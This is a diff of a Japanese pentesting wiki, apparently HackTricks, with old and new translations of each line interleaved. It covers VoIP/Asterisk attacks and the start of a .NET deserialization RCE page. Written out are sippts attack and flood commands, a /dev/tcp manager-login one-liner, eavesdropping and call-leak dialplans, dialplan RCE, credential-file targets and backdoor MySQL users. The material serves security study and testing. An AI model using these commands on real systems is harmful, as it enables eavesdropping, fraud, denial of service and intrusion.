python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
@ -289,21 +289,21 @@ python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
```
{% endcode %}
### 無料通話 / 設定ミスのあるIVRS
### 無料通話 / 設定ミスの IVRS
IVRSは、**インタラクティブ音声応答システム**の略で、ユーザーが音声またはタッチトーン入力を介してコンピュータ化されたシステムと対話するための電話技術です。 IVRSは、情報の提供、通話のルーティング、ユーザー入力の収集など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。
IVRS**Interactive Voice Response System** の略で、ユーザーが音声やタッチトーン入力を通じてコンピュータ化されたシステムとやり取りするための電話技術です。 IVRS は情報提供、通話のルーティング、ユーザー入力の収集など、さまざまな機能を提供する **自動通話処理** システムを構築するために使用されます。
VoIPシステムのIVRSは通常、次の要素で構成されています:
VoIP システムの IVRS には通常、次のものが含まれます:
1. **音声プロンプト**IVRメニューオプションと指示をユーザーに案内するための事前録音された音声メッセージ。
2. **DTMF**デュアルトーンマルチフリークエンシーシグナリング電話のキーを押して生成されるタッチトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。
3. **通話ルーティング**:ユーザーの入力に基づいて、特定の部門、エージェント、または拡張子など、適切な宛先に通話を誘導すること。
4. **ユーザー入力の収集**口頭での情報、アカウント番号、ケースID、またはその他の関連データなど、発信者からの情報の収集
5. **外部システムとの統合**IVRシステムをデータベースや他のソフトウェアシステムに接続して情報のアクセスや更新、アクションの実行、イベントのトリガーなどを行う。
1. **音声プロンプト**ユーザーを IVR メニューオプションと指示に案内する事前録音されたオーディオメッセージ。
2. **DTMF** (Dual-Tone Multi-Frequency) シグナリング電話でキーを押すことで生成されるタッチトーン入力で、IVR メニューをナビゲートし、入力を提供するために使用されます。
3. **通話ルーティング**:ユーザー入力に基づいて、特定の部署、エージェント、または拡張機能など、適切な宛先に通話を誘導すること。
4. **ユーザー入力の収集**:アカウント番号、ケース ID、またはその他の関連データなど、発信者から情報を収集すること
5. **外部システムとの統合**IVR システムをデータベースや他のソフトウェアシステムに接続して情報のアクセスや更新、アクションの実行、イベントのトリガーを行うこと
Asterisk VoIPシステムでは、ダイヤルプラン(**`extensions.conf`**ファイル)や`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトの再生、ユーザー入力の収集、通話フローの制御を支援します。
Asterisk VoIP システムでは、ダイヤルプラン (**`extensions.conf`** ファイル) と `Background()`、`Playback()`、`Read()` などのさまざまなアプリケーションを使用して IVR を作成できます。これらのアプリケーションは、音声プロンプトの再生、ユーザー入力の収集、通話フローの制御を支援します。
#### 脆弱な設定の例
#### 脆弱な構成の例
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
@ -311,40 +311,38 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
前述の例では、ユーザーに対して「1を押して部署に電話をかける」「2を押して別の部署に電話をかける」または「完全な内線番号」を入力するように求めています。\
この脆弱性は、指定された内線番号の長さがチェックされていないため、ユーザーが5秒のタイムアウトを完全な番号として入力することができ、それが呼び出される可能性があるということです。
前述は、ユーザーに対して、**1を押して**部署に電話をかけるか、**2を押して**別の部署に電話をかけるか、もしくは**知っている内線番号**を入力するよう求める例です。\
脆弱性は、指定された**内線番号の長さがチェックされていないため、ユーザーが5秒のタイムアウト内に完全な番号を入力すると、その番号に電話がかかってしまう**という点です。
### 内線番号インジェクション
次のような内線番号を使用することができます:
次のような内線番号を使用することで:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
**`${EXTEN}`**が呼び出される**内線**であり、**ext 101が入力された場合**、以下のようなことが起こります:
次に、**`${EXTEN}`** が呼び出される**内線**で、**ext 101 が入力された**場合、次のようになります:
```scss
exten => 101,1,Dial(SIP/101)
```
しかし、`${EXTEN}`が数字以外のもの古いAsteriskバージョンのようなを導入することを許可している場合、攻撃者は`101&SIP123123123`を導入して電話番号123123123に電話をかけることができます。そして、その結果は次のようになります
しかし、もし**`${EXTEN}`**が数字以外を許可する場合古いAsteriskバージョンのように、攻撃者は**`101&SIP123123123`**を入力して電話番号123123123に電話をかけることができます。そして、その結果は次のようになります
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
したがって、拡張子**`101`**と**`123123123`**への通話が送信され、最初の通話のみが確立されます...しかし、攻撃者が**一致しているが存在しない**拡張子を使用して、望ましい番号にのみ通話を注入することができます。
## SIPDigestLeak
SIP Digest Leakは、ハードウェアおよびソフトウェアIP電話機、および電話アダプタVoIPからアナログへの変換装置)を含む多くのSIP電話機に影響を与える脆弱性です。この脆弱性により、パスワードから計算されるDigest認証応答が漏洩します。その後、オフラインパスワード攻撃が可能となり、チャレンジレスポンスに基づいてほとんどのパスワードを回復することができます。
SIP Digest Leakは、ハードウェアおよびソフトウェアIP電話機、および電話アダプタVoIPからアナログへ)を含む多数のSIP電話機に影響を与える脆弱性です。この脆弱性により、パスワードから計算されるDigest認証応答が漏洩します。その後、オフラインパスワード攻撃が可能となり、チャレンジレスポンスに基づいてほとんどのパスワードを回復できます。
脆弱性シナリオ[**詳細についてはこちらを参照してください**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
**[ここからの脆弱性シナリオ**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. IP電話被害者がポート5060でリスニングし、電話を受け付けます。
2. 攻撃者がIP電話にINVITEを送信します
3. 被害者の電話が鳴り、誰かが電話に出て切ります(他の端末で電話に応答しないため)。
4. 電話が切断されると、**被害者の電話は攻撃者にBYEを送信**します。
5. 攻撃者は**認証を要求する407レスポンス**を発行し、認証のチャレンジを発行します。
6. **被害者の電話は2番目のBYEで認証のチャレンジに応答**します。
7. 攻撃者はその後、ローカルマシン(または分散ネットワークなど)でチャレンジレスポンスに対するブルートフォース攻撃を実行し、パスワードを推測することができます。
1. IP電話被害者がポート5060でリスニングし、電話を受け入れています
2. 攻撃者がIP電話にINVITEを送信します
3. 被害者の電話が鳴り始め、誰かが電話に出て切ります(他の端末で電話に出ないため)
4. 電話が切れると、**被害者の電話機が攻撃者にBYEを送信します**
5. **攻撃者は407レスポンスを発行し、認証を要求**し、認証チャレンジを発行します
6. **被害者の電話機は、認証チャレンジに対する応答を第2のBYEで提供**します
7. **攻撃者は、ローカルマシン(または分散ネットワークなど)でチャレンジレスポンスに対する総当たり攻撃**を実行し、パスワードを推測できます
* [**sippts**](https://github.com/Pepelux/sippts)の**sipdigestleak.py**SipDigestLeakは、この脆弱性を悪用します。
* [**sippts**](https://github.com/Pepelux/sippts)からの**sipdigestleak.py**: SipDigestLeakはこの脆弱性を悪用します。
```bash
python3 sipdigestleak.py -i 10.10.0.10
@ -367,9 +365,9 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Callは、例えば製品に興味を持つ**ウェブユーザー**が、**電話番号**を入力して電話を受けることができるようにするものです。その後、広告が呼び出され、ユーザーが**電話に出ると**、ユーザーは**エージェントと接続されて呼び出されます**。
Click2Callは、例えば製品に興味を持っている**Webユーザー**が**電話番号**を入力して電話を受けることを可能にします。その後、広告がかけられ、ユーザーが**電話に出ると**エージェントと**接続されて呼び出されます**。
これに対する一般的なAsteriskプロファイルは次のとおりです:
これに対する一般的なAsteriskプロファイルは次のとおりです
```scss
[web_user]
secret = complex_password
@ -379,29 +377,27 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* 前のプロファイルでは、**パスワードがわかっていればどのIPアドレスからでも接続できる**ようになっています。
* 前述のように、**通話を組織するためには読み取り権限は必要ありません**。**書き込み**の**originate**のみが必要です。
* 前のプロファイルでは、**パスワードがわかっていればどんなIPアドレスでも接続できる**ようになっています。
* 前述のように、**通話を開始する**には、**読み取り権限は必要ありません**。**書き込み**で**originate**だけが必要です。
これらの権限を持っているIPアドレスは、パスワードを知っていれば接続し、多くの情報を抽出することができます。
{% code overflow="wrap" %}
これらの権限を持っていると、パスワードを知っている任意のIPが接続して、情報を抽出することができます。
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
{% endcode %}
**詳細な情報やアクションが要求される場合があります。**
**さらなる情報やアクションが要求される可能性があります。**
### **盗聴**
Asteriskでは、**`ChanSpy`**コマンドを使用して、監視する**拡張子(またはすべての拡張子)**を指定して、発生している会話を聞くことができます。このコマンドは、拡張子に割り当てる必要があります。
Asteriskでは、**`ChanSpy`** コマンドを使用して、監視する**内線番号**(またはすべて)を指定して会話を聞くことができます。このコマンドは内線に割り当てる必要があります。
たとえば、**`exten => 333,1,ChanSpy('all',qb)`**とすると、**拡張子333**を**呼び出す**と、**`all`**の拡張子を**監視**し、新しい会話が始まるたびに(**`b`**)、静かなモード(**`q`**)で**聞く**ことができます。会話が行われている場所から別の会話に移動するには、**`*`**を押すか、拡張子番号をマークします。
たとえば、**`exten => 333,1,ChanSpy('all',qb)`** とすると、**内線333**に**電話をかける**と、**すべて**の内線を**監視**し、新しい会話が始まるとすぐに(**`b`****静かなモード****`q`**)で聞き始めます。会話を聞いているときに、**`*`** を押すか、内線番号をマークすることで、別の会話に移ることができます。
また、**`ExtenSpy`**を使用して、1つの拡張子のみを監視することも可能です。
**`ExtenSpy`** を使用して、1つの内線のみを監視することも可能です。
会話を聞く代わりに、拡張子を使用して**ファイルに記録する**ことも可能です。
会話を聞く代わりに、**ファイルに記録する**こともできます。次のような内線を使用して、会話を記録できます:
{% code overflow="wrap" %}
```scss
@ -409,92 +405,90 @@ Asteriskでは、**`ChanSpy`**コマンドを使用して、監視する**拡張
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
```
{% endcode %}
Calls will be saved in **`/tmp`**.
通話は **`/tmp`** に保存されます。
また、Asterisk が終了するときに通話を漏洩させるスクリプトを実行することもできます。
You could also even make Asterisk **execute a script that will leak the call** when it's closed.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed
**RTCPBleed**は、AsteriskベースのVoIPサーバーに影響を与える重大なセキュリティ問題です2017年に公開されました。この脆弱性により、VoIP会話を運ぶ**RTPリアルタイムプロトコルトラフィック**が、インターネット上の誰でも傍受およびリダイレクトされることが可能になります。これは、RTPトラフィックがNATネットワークアドレス変換ファイアウォールを経由する際に、認証をバイパスするためです。
**RTCPBleed**は、2017年に公開されたAsteriskベースのVoIPサーバーに影響を与える重大なセキュリティ問題です。この脆弱性により、VoIP会話を運ぶ**RTPリアルタイムプロトコルトラフィック**が、インターネット上の誰でもによって**傍受およびリダイレクト**される可能性があります。これは、RTPトラフィックがNATネットワークアドレス変換ファイアウォールを経由する際に認証をバイパスするために発生します。
RTPプロキシは、RTCシステムに影響を与えるNATの制限に対処するために、2つ以上のパーティ間でRTPストリームをプロキシすることを試みます。NATが存在する場合、RTPプロキシソフトウェアは通常、シグナリングSIPを介して取得したRTPのIPおよびポート情報に頼ることができません。そのため、いくつかのRTPプロキシは、そのようなIPおよびポートの組み合わせを自動的に学習するメカニズムを実装しています。これは、着信RTPトラフィックを検査し、着信RTPトラフィックのソースIPとポートを応答すべきものとしてマークすることによって行われることが多いです。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者**は**RTPトラフィックをRTPプロキシに送信**し、通話中のRTPストリームの発信者または受信者向けに送信されるべきプロキシされたRTPトラフィックを受け取ることができます。私たちは、この脆弱性をRTP Bleedと呼んでいます。なぜなら、これにより攻撃者は合法的なユーザーに送信されるべきRTPメディアストリームを受け取ることができるからです。
RTPプロキシは、RTCシステムに影響を与える**NATの制限**に対処するために、2つ以上のパーティ間でRTPストリームをプロキシングすることを試みます。NATが存在する場合、RTPプロキシソフトウェアは通常、シグナリングSIPを介して取得したRTP IPおよびポート情報に依存できません。そのため、多くのRTPプロキシは、このような**IPおよびポートの組み合わせが自動的に学習される**メカニズムを実装しています。これは、着信RTPトラフィックを検査し、着信RTPトラフィックのソースIPおよびポートを応答すべきものとしてマークすることで行われることがよくあります。このメカニズムは通常、「学習モード」と呼ばれ、**いかなる種類の認証も使用しません**。したがって、**攻撃者**は**RTPプロキシにRTPトラフィックを送信**し、進行中のRTPストリームの発信者または着信者向けに意図されたプロキシされたRTPトラフィックを受信することができます。これをRTP Bleedと呼び、攻撃者が合法的なユーザーに送信されるはずのRTPメディアストリームを受信できるようにします。
RTPプロキシとRTPスタックのもう一つの興味深い振る舞いは、**RTP Bleedに対して脆弱ではなくても**、時には**任意のソースからのRTPパケットを受け入れ、転送、および/または処理する**ことがあることです。したがって、攻撃者は合法的なものではないRTPパケットを送信することができ、これにより既存のRTPストリームに不正なメディアを注入することができます。この攻撃をRTPインジェクションと呼びます。この脆弱性は、RTPプロキシとエンドポイントの両方で見つかる可能性があります。
RTPプロキシとRTPスタックのもう1つの興味深い動作は、**RTP Bleedに脆弱でなくても**、**任意のソースからのRTPパケットを受け入れ、転送、および/または処理する**ことがあることです。したがって、攻撃者は合法的なものの代わりに自分のメディアを注入することができるRTPパケットを送信できます。これをRTPインジェクション攻撃と呼び、既存のRTPストリームに不正なRTPパケットを注入することができます。この脆弱性は、RTPプロキシとエンドポイントの両方で見つかる可能性があります。
AsteriskとFreePBXは、従来から**`NAT=yes`の設定**を使用しており、これによりRTPトラフィックが認証をバイパスすることができ、通話時に音声がないか片方向の音声になる可能性があります。
AsteriskとFreePBXは、従来、RTPトラフィックの認証をバイパスする**`NAT=yes`設定**を使用しており、通話時に音声がないか片方向の音声にる可能性があります。
詳細については、[https://www.rtpbleed.com/](https://www.rtpbleed.com/)を参照してください。
* [**sippts**](https://github.com/Pepelux/sippts)の**`rtpbleed.py`**RTP Bleed脆弱性を検出するためにRTPストリームを送信します。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`rtpbleed.py`**RTPストリームを送信してRTP Bleed脆弱性を検出します。
```bash
python3 rtpbleed.py -i 10.10.0.10
```
* **`rtcpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信してRTP Bleed脆弱性を検出します
* **`rtcpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信してRTP Bleed脆弱性を検出します
```bash
python3 rtcpbleed.py -i 10.10.0.10
```
* **`rtpbleedflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信してRTP Bleed脆弱性を悪用する
* **`rtpbleedflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信するRTP Bleed脆弱性を悪用
```bash
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
```
* **`rtpbleedinject.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPブリード脆弱性を悪用し、RTPストリームオーディオファイルからを送信します
* **`rtpbleedinject.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTP Bleed脆弱性を悪用して、RTPストリームオーディオファイルからを送信します
```bash
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
Asteriskで、脆弱なウェブマネージャーサーバーを侵害することで、**拡張ルールを追加して再読み込みする**ことができる場合、**`System`**コマンドを使用してRCEを実行することが可能です。
Asteriskで何らかの方法で**拡張ルールを追加して再読み込み**することができる場合たとえば脆弱性のあるWebマネージャーサーバーを侵害することで、**`System`**コマンドを使用してRCEを取得することが可能です。
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
**`Shell`**というコマンドは、必要に応じてシステムコマンドを実行するために**`System`**の代わりに使用することができます。
**`Shell`**というコマンドは、必要に応じてシステムコマンドを実行するために**`System`**の代わりに使用できます。
{% hint style="warning" %}
サーバーが**`System`**コマンドで特定の文字の使用を禁止している場合Elastixなど、ウェブサーバーがシステム内で何らかの方法で**ファイルを作成することを許可しているか**Elastixやtrixboxのように、それを使用して**バックドアスクリプトを作成**し、それを**`System`**を使用して**実行**します。
サーバーが**`System`**コマンドで特定の文字の使用を禁止している場合Elastixなど、ウェブサーバーがシステム内で何らかの方法でファイルを作成することを許可しているかどうかを確認しElastixやtrixboxのように、それを使用してバックドアスクリプトを作成し、そのスクリプトを実行するために**`System`**を使用します。
{% endhint %}
#### 興味深いローカルファイルと権限
* **`sip.conf`** -> SIPユーザーのパスワードが含まれています。
* **Asteriskサーバーがrootとして実行されている場合**、rootを侵害することができます。
* **mysql rootユーザー**はパスワードを持っていないかもしれません。
* これを使用してバックドアとして新しいmysqlユーザーを作成することができます
* **Asteriskサーバーがrootとして実行されている場合**、rootを危険にさらす可能性があります
* **mysql rootユーザー**は**パスワードを持っていない**かもしれません。
* これを使用してバックドアとして新しいmysqlユーザーを作成できます
* **`FreePBX`**
* **`amportal.conf`** -> ウェブパネル管理者FreePBXのパスワードが含まれています
* **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXuserユーザーのパスワードが含まれています
* これを使用してバックドアとして新しいmysqlユーザーを作成することができます
* **`amportal.conf`** -> ウェブパネル管理者FreePBXのパスワードが含まれています
* **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXユーザーのパスワードが含まれています
* これを使用してバックドアとして新しいmysqlユーザーを作成できます
* **`Elastix`**
* **`Elastix.conf`** -> mysql rootパスワード、IMAPdパスワード、ウェブ管理者パスワードなど、いくつかのパスワードが平文で含まれています
* **いくつかのフォルダ**は侵害されたAsteriskユーザーに属していますrootとして実行されていない場合。このユーザーは前述のファイルを読み取ることができ、また構成も制御できるため、実行時に他のバックドア付きバイナリをAsteriskに読み込ませることができます。
* **`Elastix.conf`** -> mysql rootパスワード、IMAPdパスワード、Web管理者パスワードなど、いくつかのパスワードが平文で含まれています
* **いくつかのフォルダ**は、compromised asteriskユーザーに属することになりますrootとして実行されていない場合。このユーザーは前述のファイルを読み取ることができ、また構成を制御しているため、Asteriskが他のバックドア付きバイナリを実行するようにすることができます。
### RTPインジェクション
**`rtpinsertsound`**`sudo apt install rtpinsertsound`)や**`rtpmixsound`**`sudo apt install rtpmixsound`)などのツールを使用して、会話に**`.wav`**を挿入することができます。
**`rtpinsertsound`**`sudo apt install rtpinsertsound`)や**`rtpmixsound`**`sudo apt install rtpmixsound`)などのツールを使用して、会話に**`.wav`**を挿入することが可能です。
または、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)スクリプトを使用して、会話を**スキャン**する(**`rtpscan.pl`**)、会話に`.wav`を送信する(**`rtpsend.pl`**)、会話にノイズを挿入する(**`rtpflood.pl`**)ことできます。
または、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)からスクリプトを使用して、会話を**スキャン**する(**`rtpscan.pl`**)、会話に`.wav`を送信する(**`rtpsend.pl`**)、会話にノイズを挿入する(**`rtpflood.pl`**)ことできます。
### DoS
VoIPサーバーでDoSを試みるためのいくつかの方法があります。
VoIPサーバーでDoSを達成するためのいくつかの方法があります。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipflood.py`****_**SipFlood**_はターゲットに無制限のメッセージを送信します
* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipflood.py`****_**SipFlood**_はターゲットに無制限のメッセージを送信します
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/)Asteriskで使用されるIAXプロトコルのDoS
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt)UDP/IP上でSIP/SDP INVITEメッセージのフラッディングを実行するツール。
* [**rtpflood**](https://www.kali.org/tools/rtpflood/)複数の正常なRTPパケットを送信します。使用されているRTPポートを知る必要がありますまずスニフィング)。
* [**SIPp**](https://github.com/SIPp/sipp)SIPトラフィックの分析と生成が可能です。したがって、DoSにも使用できます。
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/)Asteriskが使用するIAXプロトコルのDoS
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt)UDP/IP経由でSIP/SDP INVITEメッセージの洪水を実行するツール
* [**rtpflood**](https://www.kali.org/tools/rtpflood/)いくつかの適切に形成されたRTPパケットを送信します。最初に使用されているRTPポートを知る必要があります最初にスニッフィングする必要があります)。
* [**SIPp**](https://github.com/SIPp/sipp)SIPトラフィックを分析および生成することができるため、DoSにも使用できます。
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak)SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。
* Fuzzers[**protos-sip**](https://www.kali.org/tools/protos-sip/)、[**voiper**](https://github.com/gremwell/voiper)。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipsend.py`**SIPSendを使用して、カスタマイズされたSIPメッセージを送信し、応答を分析することができます。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`wssend.py`**WsSendを使用して、WebSocketsを介してカスタマイズされたSIPメッセージを送信し、応答を分析することができます。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipsend.py`**SIPSendを使用して**カスタマイズされたSIPメッセージ**を送信し、応答を分析できます。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`wssend.py`**WsSendを使用してWebSockets経由で**カスタマイズされたSIPメッセージ**を送信し、応答を分析できます。
### OSの脆弱性
Asteriskなどのソフトウェアをインストールする最も簡単な方法は、**FreePBX、Elastix、Trixbox**など、すでにインストールされているOSディストリビューションをダウンロードすることです。ただし、これらのディストリビューションは一度動作していると、システム管理者がそれらを再度更新しない可能性があり、時間の経過とともに**脆弱性**が発見される可能性があります。
Asteriskなどのソフトウェアをインストールする最も簡単な方法は、すでにインストールされているOSディストリビューションをダウンロードすることです。例:**FreePBX、Elastix、Trixbox**... これらの問題は、一度動作していると、システム管理者がそれらを再度更新しない可能性があり、時間の経過とともに**脆弱性**が発見される可能性があります。
## 参考文献
@ -502,12 +496,4 @@ Asteriskなどのソフトウェアをインストールする最も簡単な方
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolop
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)

View file

@ -4,31 +4,31 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
この投稿は、**ObjectDataProviderガジェットがどのように悪用されるか**を理解し、そのガジェットを使用してRCEを取得する方法、および**Serializationライブラリ**である**Json.NetとxmlSerializerが**どのように悪用されるか説明します。
この投稿は、**ObjectDataProviderガジェットがどのように悪用されるか**を理解し、そのガジェットを使用してRCEを取得する方法、および**Serializationライブラリ**である**Json.NetとxmlSerializerが**どのように悪用されるかについて説明します。
## ObjectDataProviderガジェット
ドキュメントから_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\
はい、これは奇妙な説明ですので、このクラスには何が興味深いのか見てみましょう:このクラスは**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、**MethodNameを使用して**任意のオブジェクトで宣言された**任意の関数を呼び出す**ことができます。\
はい、これは奇妙な説明ですので、このクラスには何が興味深いのか見てみましょう:このクラスは**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、**MethodNameを使用して**任意のオブジェクトで宣言された**任意の関数を呼び出す**ことができます。\
したがって、任意の**オブジェクト**は、**逆シリアル化されながら**任意の**パラメータを使用して**関数を**実行**します。
### **これが可能な理由**
ObjectDataProviderが定義および実装されている**System.Windows.Data**名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`にある**PresentationFramework.dll**内にります。
ObjectDataProviderが定義および実装されている**System.Windows.Data**名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`にある**PresentationFramework.dll**内に見つかります。
[**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味を持つクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。
![](<../../.gitbook/assets/image (299).png>)
`MethodName`が設定されると`base.Refresh()`が呼び出されることがわかります。これが何をするか見てみましょう:
`MethodName`が設定されると`base.Refresh()`が呼び出されることがわかります。これが何をするか見てみましょう:
![](<../../.gitbook/assets/image (300).png>)
@ -40,7 +40,7 @@ ObjectDataProviderが定義および実装されている**System.Windows.Data**
![](<../../.gitbook/assets/image (302) (1).png>)
このコードは`QueryWorker`関数の完全なコードではありませんが、その興味深い部分を示しています:コードは**`this.InvokeMethodOnInstance(out ex);`を呼び出します**。これは、**設定されたメソッドが呼び出される**行です。
このコードは`QueryWorker`関数の完全なコードではありませんが、その興味深い部分を示しています:コードは`this.InvokeMethodOnInstance(out ex);`を呼び出しており、これは**設定されたメソッドが呼び出される**行です。
単に_**MethodName**_を設定するだけで実行されることを確認したい場合は、このコードを実行できます
```java
@ -95,7 +95,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
[公式ウェブページ](https://www.newtonsoft.com/json)によると、このライブラリはJson.NETの強力なJSONシリアライザを使用して、**任意の.NETオブジェクトをシリアライズおよびデシリアライズ**できるとされています。したがって、**ObjectDataProviderガジェットをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。
[公式ウェブページ](https://www.newtonsoft.com/json)によると、このライブラリはJson.NETの強力なJSONシリアライザを使用して、**任意の.NETオブジェクトをシリアライズおよびデシリアライズ**することができます。したがって、**ObjectDataProviderガジェットをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。
### Json.Netの例
